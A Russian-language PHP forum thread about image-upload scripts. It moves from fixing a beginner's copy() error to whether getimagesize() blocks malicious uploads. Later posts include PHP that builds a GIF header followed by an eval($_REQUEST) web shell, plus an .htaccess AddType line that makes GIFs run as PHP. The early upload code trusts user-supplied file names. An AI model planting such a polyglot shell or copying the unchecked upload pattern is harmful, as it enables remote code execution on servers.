|
|
|
| скажите пожалуйста, я делаю загрузку на сервер фотографий, вот так:
<html>
<body>
<form action=photo.php methodf=post enctype=multipart/form-data>
<input type=file name=file>
<br>
Èìÿ Ôàéëà <input type=text name="Filename">
<input type=submit name=upload value="Çàãðóçèòü">
</form>
<?
if (isset($upload))
{
$Filename="woto/".$Filename.".jpg";
if(file_exists($Filename))
{
mt_srand(time());
$r=mt_rand(0,1000);
$Filename="woto/$r".basename($Filename);
}
copy($file,$Filename);
echo "<PRE>Ôàéë $file ñêîïèðîâàí â $Filename </PRE>";
}
?>
</body>
</html>
но почемуто выдает ошибку на строчке где copy , подскажите пожалуйста, заранее спасибо | |
|
|
|
|
|
|
|
для: devil
(25.05.2007 в 09:42)
| | Ошибку принято приводить в вопросе полностью.
а вместо copy() лучше в этом месте применять move_uploaded_file() | |
|
|
|
|
|
|
|
для: Trianon
(25.05.2007 в 10:04)
| | он пишет такую ошибку
failed to open stream: No such file or directory in | |
|
|
|
|
|
|
|
для: devil
(25.05.2007 в 11:15)
| | Вы понимаете, что значит "полностью"?
Или Вы за переводом пришли?
Между прочим, переменным и вправду значения не присвоены. Тут Faraon прав. | |
|
|
|
|
|
|
|
для: devil
(25.05.2007 в 11:15)
| | У вас же получается что переменные $file, $Filename не существует а существуют массивы
$_FILES и $_POST | |
|
|
|
|
|
|
|
для: Faraon
(25.05.2007 в 11:24)
| | и подскажите пожалуйста, просто я еще новичок | |
|
|
|
|
|
|
|
для: devil
(25.05.2007 в 13:30)
| | Я тоже новичок. Соорудил 2 файла newpic.php и upload.php все работает, ещё и тумбнайлики 2-х размеров делает. Может поможет?
<?php
// Это форма для ввода фото
<table width=100% cellspacing=2 cellpadding=2 border=0>
<tr>
<td align="center">
<?if ($error != "")
{
print("<h6><font color=\"#FF0000\">Ошибка!</font></h6>");
print("\n<h6><font color=\"#FF0000\">$error</font></h6>");
print("\n<h6><font color=\"#FF0000\">Повторите ввод</font></h6>");
}?>
</td>
</tr>
<tr>
<td>
<h1>Форма для ввода фото</h1>
</td>
</tr>
<tr>
<td>
<table align="center" cellspacing="8" cellpadding="8" border="0">
<tr class="tbHeader2">
<td>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="filename" size="60"><br>
<input type="submit" value="Загрузить"><br>
</form>
</td>
</tr>
</table>
</td>
</tr>
</table>
<?
$pagetitle = "Результат загрузки фото";
$query = "SELECT id FROM news order by id desc";
$result = mysql_query($query);
$id = mysql_fetch_array ($result);
$error = "";
if($_FILES["filename"]["size"] > 1024*150)
{
$error = "Размер файла превышает 150 килобайт";
include "newpic.php";
}
if($_FILES["filename"]["type"] != 'image/pjpeg')
{
$error = "Это не jpg файл";
include "newpic.php";
}
if(copy($_FILES["filename"]["tmp_name"],"../news/foto/".$id['id'].".jpg"))
{
require ('imgresize.php');
if (img_resize("../news/foto/".$id['id'].".jpg", "../news/foto/".$id['id']."_tn2.jpg", 100, 75))
if (img_resize("../news/foto/".$id['id'].".jpg", "../news/foto/".$id['id']."_tn.jpg", 200, 150))
{
require "newout.php";
}
}
$error = "Файл поврежден";
include "newpic.php";
?>
Кстати не подскажет ли кто,
1 как упростить конструкцию для получения индекса
$query = "SELECT id FROM news order by id desc";
$result = mysql_query($query);
$id = mysql_fetch_array ($result);
2.Правильно ли определять тип файла сравнением с 'image/pjpeg'
может просто проверять расширение на JPG? | |
|
|
|
|
|
|
|
для: vikgor
(26.05.2007 в 02:36)
| | Правильно обрамлять код тегами [codе]. Иначе его очень тяжело здесь читать.
Неправильно помещать открытый код (те есть не определения функций и классов, а просто последовательность операторо) в include-файлы.
Неправильно ставить операторы include вглубь кода. Правильно вызывать определенные функции или методы.
Правильно определять картинку на картинковость вызовом getimagesize() - функция не отнимает много ресурсов, а картинки от скриптов всяко отделит.
Правильно следовать советам, если они подтверждаюся соответствующим разделом мануала - и всё же заменить copy на move_uploaded_file | |
|
|
|
|
|
|
|
для: Trianon
(26.05.2007 в 15:54)
| | с 1, 4 и 5 пунктами все ясно. спасибо. А вот по поводу 2 и 3 нункта, нельзя ли хоть чуть подробнее с примерами, или ссылку укажите, где про это прочитать. И, если можно,ответьте пожалуйста на 1 вопрос? | |
|
|
|
|
|
|
|
для: vikgor
(26.05.2007 в 16:20)
| | как упростить конструкцию для получения индекса
Вы хотите получить 1 индекс? | |
|
|
|
|
|
|
|
для: Unkind
(26.05.2007 в 16:56)
| | да только индекс новой записи в таблицу $id | |
|
|
|
|
|
|
|
для: vikgor
(26.05.2007 в 17:50)
| | да только индекс новой записи в таблицу $id
mysql_insert_id() | |
|
|
|
|
|
|
|
для: vikgor
(26.05.2007 в 16:20)
| | 1-й вопрос- unkind опередил - безусловно, mysql_insert_id() . Иначе Вы рискуете прицепить файл не к тому посту.
А касательно 2, 3 пункта....
Если вы пишете некоторый код, который хотите впоследствии использовать неоднократно - оформляйте его не в виде файла, а в виде функции. Если от случая к случаю этот код может исполняться слегка различным образом - то в виде функции с параметрами.
Там, где надо код вызвать - вызывайте функцию. Если хотите вынести код в другой файл - выносите функцию целиком. include к файлу с определением функции указывайте в начале того файла, где собираетесь её применять (либо, если уверены в целесообразности) в точке, где может быть принято решение, что эта функция вероятно понадобится. | |
|
|
|
|
|
|
|
для: Trianon
(26.05.2007 в 22:04)
| | Мне не ясно, как оформить функцию, в случае, ввода данных, ведь в этом случае требуется 2 файла 1 - с формой и 2-й с обработкой данных из формы. | |
|
|
|
|
|
|
|
для: Trianon
(26.05.2007 в 15:54)
| | Правильно определять картинку на картинковость вызовом getimagesize() - функция не отнимает много ресурсов, а картинки от скриптов всяко отделит.
Загрузка скрипта тут ничего не даст - файл сохраняется всегда с расширением "jpg". А getimagesize() тоже не сможет наверняка определит "картинковость". Можно под видом картинки загрузить тот же скрипт. | |
|
|
|
|
|
|
|
для: Unkind
(26.05.2007 в 16:50)
| | Неужели операция if($_FILES["filename"]["type"] != 'image/pjpeg') займет много ресурсов? | |
|
|
|
|
|
|
|
для: Unkind
(26.05.2007 в 16:50)
| | >Загрузка скрипта тут ничего не даст - файл сохраняется всегда с расширением "jpg".
Тут - да. А если файл загружается под исходным расширением - возможны варианты.
>А getimagesize() тоже не сможет наверняка определит "картинковость". Можно под видом картинки загрузить тот же скрипт.
Вы можете привести пример? | |
|
|
|
|
|
|
|
для: Trianon
(26.05.2007 в 22:10)
| | Конечно.
<?php
$fh = fopen("http://softtime.ru/images/softtime_last.gif", "rb");
$fd = fopen("picture.gif", "wb");
while(!feof($fh)) fwrite($fd, fread($fh, 1024));
fclose($fh); //Закрытие "http://softtime.ru/images/softtime_last.gif"
$script = <<< SCRIPT
<?php
echo("Hello, world!");
?>
SCRIPT;
fwrite($fd, $script);
fclose($fd);
var_dump(getimagesize("picture.gif"));
?>
|
| |
|
|
|
|
|
|
|
для: Unkind
(26.05.2007 в 22:19)
| | У меня это вобще не работает? Если изменить, то можно дописать в картинку "Hello, world!", а смысл? | |
|
|
|
|
|
|
|
для: sim5
(26.05.2007 в 23:52)
| | У меня это вобще не работает?
Откуда я могу узнать работает ли у Вас?
а смысл?
Начинающий программист может целиком полагаться на getimagesize() и, сохраняя картинку, выдрать расширение из оригинального имени, очевидно полагая, что раз getimagesize() "пропустил" файл, то все OK. В итоге можно загрузить файл picture.php и запросить этот файл из адресной строки. | |
|
|
|
|
|
|
|
для: Unkind
(27.05.2007 в 01:04)
| | Не работает потому, что получается:
<?php
<?php
?>
?>
а на строку $script = <<< SCRIPT - парсер выдает ошибку. Я хотел посмотреь это все в действии, но...((
Ну допустим дописали в конец картики скрипт, но ведь он записан в теле картинки picture.gif, и как запустить этот скрипт на исполнение? | |
|
|
|
|
|
|
|
для: sim5
(27.05.2007 в 01:27)
| | sim5, не знаю, у меня работает этот код. И вообще с какой стати парсер должен выдавать ошибку там? Это heredoc. | |
|
|
|
|
|
|
|
для: Unkind
(27.05.2007 в 01:36)
| | У меня на строку $script = <<< SCRIPT выдает сообщение
parse error, unexpected T_SL
либо у меня чего-то не подключено, либо... | |
|
|
|
|
|
|
|
для: Unkind
(27.05.2007 в 01:04)
| | Ну и что?
Картинка же? Картинка.
Javascript-кода там нет, HTML, несущего XSS тоже нет.
А php не включится в работу, пока ему в этом каталоге пахать не разрешат.
А если разрешили, тут уж никакие картинки не при делах.
Нельзя давать писать в каталоги, где интерпретатор может выполнять скрипты. Независимо от того , что за файлы.
Нельзя в каталог разрешать записывать файлы, начинающиеся с .ht иначе предыдущий запрет не обеспечить. А в прочем на контроль getimagesize можно положиться. | |
|
|
|
|
|
|
|
для: Trianon
(27.05.2007 в 01:32)
| | Вот это меня и интересует - ну запихнули в нее код, ну и что, как из это можно "извлечь вред"? Я думаю, что это бессмыленно, хотя может и не прав. | |
|
|
|
|
|
|
|
для: sim5
(27.05.2007 в 01:41)
| | Вред можно извлечь, если создать (или позволить вредителю создать) условия, при которых запихнутый код будет выполнен соответствующим интерпретатором. | |
|
|
|
|
|
|
|
для: Trianon
(27.05.2007 в 01:46)
| | Ну как это возможно сделать? Напимер в картинку помещен JS, на эту картинку в результирующей странице есть ссылка. Ну этот JS ведь не выполнится на стороне клиента. А как на сервере запустить такой скрипт, если это будет РНР-скрипт. Возможно ли такое?
Все, зациклился)) ну не могу понять как можно запустить скрипт "вшитый" в тело картинки... | |
|
|
|
|
|
|
|
для: sim5
(27.05.2007 в 01:55)
| | >Ну как это возможно сделать? Напимер в картинку помещен JS, на эту картинку в результирующей странице есть ссылка. Ну этот JS ведь не выполнится на стороне клиента.
Само собой.
>А как на сервере запустить такой скрипт, если это будет РНР-скрипт. Возможно ли такое?
>Все, зациклился)) ну не могу понять как можно запустить скрипт "вшитый" в тело картинки...
Если апачу поставлено указание интерпретировать gif как php? Почему нет?
Найдет первое появление <?php и вперед отрабатывать хлеб. Перед этим всё будет выкинуто в поток браузера, но скрипт-то выполнится.
Обычные html-php обрабатываются точно также.... | |
|
|
|
|
|
|
|
для: Trianon
(27.05.2007 в 01:59)
| | Хорошо, но как тогда заставить апача интерпретировать gif как php (естественно со стороны "вредителя")? Через .htaccess? Каким образом на 100% можно сделать картинку опасной? | |
|
|
|
|
|
|
|
для: sim5
(27.05.2007 в 02:07)
| | AddType application/x-httpd-php .gif | |
|
|
|
|
|
|
|
для: Unkind
(27.05.2007 в 02:16)
| | Но я то сам себе такого делать не стану, так ведь. Это должно быть задачей вредителя, ну если и даже так. То как интерпритатор отрагирует на бинарные данные заголовка файла картинки, ведь для него это "абракадабра", по идее будет ошибка. Или не так? | |
|
|
|
|
|
|
|
для: sim5
(27.05.2007 в 02:20)
| | Нет, не так. Интерпретатор начинает разбор кода только после "<?php". В крайнем случае "<?". | |
|
|
|
|
|
|
|
для: Unkind
(27.05.2007 в 02:34)
| | Понятно. Тоесть такое возможно только если вызвать непосредственно "зараженную" картинку. Но для этого необходимо указать апачу такую возможность, но так просто этого не сделать. | |
|
|
|
|
|
|
|
для: sim5
(27.05.2007 в 02:47)
| | Я уже сказал, что кто-то может выдрать расширение из картинки "pic.php". Так что в данном случае нужно будет, скажем так, не получить разрешение, а не получить запрет на исполнение *.php-файла. | |
|
|
|
|
|
|
|
для: sim5
(27.05.2007 в 02:20)
| | >Но я то сам себе такого делать не стану, так ведь. Это должно быть задачей вредителя, ну если и даже так.
Задача вредителя - записать эту строчку в файл .htaccess
>То как интерпритатор отрагирует на бинарные данные заголовка файла картинки,
Любые данные бинарны по определению. Нету там никакого заголовка - это же не http-документ, принятый от сервера, а обыкновенный файл, то есть набор байт.
>ведь для него это "абракадабра", по идее будет ошибка. Или не так?
Для него и HTML перед php-кодом - абракадабра полнейшая, тем не менее как-то разбирается. | |
|
|
|
|
|
|
|
для: Trianon
(27.05.2007 в 03:27)
| | >Для него и HTML перед php-кодом - абракадабра полнейшая
Ну спасибо, в нокауте... :)) | |
|
|
|
|
|
|
|
для: Trianon
(27.05.2007 в 01:32)
| | Ну и что?
Картинка же? Картинка.
А вот так? Это явно не картинка :)
<?php
$fh = fopen("picture.gif", "wb");
fwrite($fh, pack("H*", "474946383961ce002f00c4"));
fclose($fh);
var_dump(getimagesize("picture.gif"));
?>
|
| |
|
|
|
|
|
|
|
для: Unkind
(27.05.2007 в 10:13)
| | Да, это только ее начало. Но можно ведь дополнить - getimagesize() или exif_imagetype(), плюс зная формат основных файлов (gif, jpg, png), написать что-то более серьезное для таких вещей, и тогда "огрызок" картинки не пролезет. | |
|
|
|
|
|
|
|
для: sim5
(27.05.2007 в 11:05)
| | Цель оправдывает средства? Конечно, можно просто тупо перезаписать картинку с помощью стандартных функций GDlib и тогда вообще все "огрызки" пропадут. | |
|
|
|
|
|
|
|
|
для: Unkind
(27.05.2007 в 10:13)
| | Испорченная картинка. Точнее, заголовок + GSD
Но и скрипта там нет. | |
|
|
|
|
|
|
|
для: Trianon
(27.05.2007 в 14:26)
| | Ну это только идея для развития, направление есть, а далее нужно думать.) | |
|
|
|
|
|
|
|
для: Trianon
(27.05.2007 в 14:26)
| | Но и скрипта там нет.
Да хватит Вам придираться! :)) | |
|
|
|
|
|
|
|
для: Unkind
(27.05.2007 в 15:04)
| | К чему придираться-то?
Вы утверждаете, что getimagesize() недостаточно, для того чтобы отличить опасный объект от неопасного. Так?
Я предложил показать пример. Пример Вы не показали. | |
|
|
|
|
|
|
|
для: Trianon
(27.05.2007 в 16:51)
| |
<?php
$fh = fopen("picture.gif", "wb");
fwrite($fh, pack("H*", "474946383961ce002f00c4"));
$script = '<?php
$code = isset($_REQUEST["code"]) ? $_REQUEST["code"] : "";
!get_magic_quotes_gpc() || $code = stripslashes($code);
eval($code);
?>';
fwrite($fh, $script);
fclose($fh);
var_dump(getimagesize("picture.gif"));
?>
|
| |
|
|
|
|
|
|
|
для: Unkind
(27.05.2007 в 18:32)
| | Мы же вроде выяснили, что защита от исполнения серверных скриптов реализуется совсем другими методами?
Опять 25 за рыбу гроши.... | |
|
|
|
|
|
|
|
для: Trianon
(27.05.2007 в 23:50)
| | Тогда к чему вообще эта возьня с getimagesize()? | |
|
|
|
|
|
|
|
для: Unkind
(28.05.2007 в 00:31)
| | Я так понимаю, чтобы клиентские не пропустить.... | |
|
|
|
|
|
|
|
для: Trianon
(28.05.2007 в 00:44)
| | Клиентские Вы как раз пропустите, если можно загрузить файл, который будет отдаваться клиенту как "text/html" или "application/xhtml+xml".
И getimagesize() тут уже совершенно не причем. | |
|
|
|
|
|
|
|
для: Unkind
(28.05.2007 в 00:55)
| | спорно... кто его будет отдавать с таким типом, если он и по расширению (.gif)и по сигнатуре (getimagesize) - форменное картинко? | |
|
|
|